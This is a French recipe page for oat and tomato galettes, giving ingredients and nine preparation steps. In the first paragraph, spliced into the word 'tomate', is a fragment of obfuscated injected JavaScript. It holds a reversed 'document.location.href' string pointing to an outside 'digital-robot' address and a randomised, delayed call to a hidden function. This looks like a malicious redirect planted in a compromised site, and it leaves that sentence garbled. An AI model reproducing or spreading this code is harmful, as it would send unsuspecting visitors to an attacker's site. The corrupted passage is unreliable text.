Galettes d’avoine

2021-05-07

Rincez, séchez et coupez en petits dés la tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomate. Pelez, hachez l’oignon. Dans un récipient mélangez les ingrédients secs en y ajoutant de l’eau de façon à obtenir une pâte lisse.

Ingrédients

  • Pour 4 personnes
  • 200 g de flocons d'avoine
  • 1 tomate
  • 1 oignon
  • 3 cuillères à soupe de levure maltée en paillettes
  • Quelques pincées de paprika
  • De la chapelure
  • Un peu de farine
  • Un peu d'eau froide
  • Sel poivre du moulin

Préparation de la recette

Etape 1

Rincez, séchez et coupez en petits dés la tomate.

Etape 2

Pelez, hachez l'oignon.

Etape 3

Dans un récipient mélangez les ingrédients secs en y ajoutant de l'eau de façon à obtenir une pâte lisse.

Etape 4

Filmez le récipient.

Etape 5

Laissez mariner dans le réfrigérateur pendant 2 heures minimum.

Etape 6

Travaillez la pâte en ajoutant un peu de farine, pour sécher la pâte.

Etape 7

Formez des petites boules, les enrober de chapelure puis les aplatir en galettes.

Etape 8

Faites les rissoler dans une poêle avec de l'huile d'arachide, sur feu vif.

Etape 9

Les galettes doivent être biens dorées sur les 2 faces.

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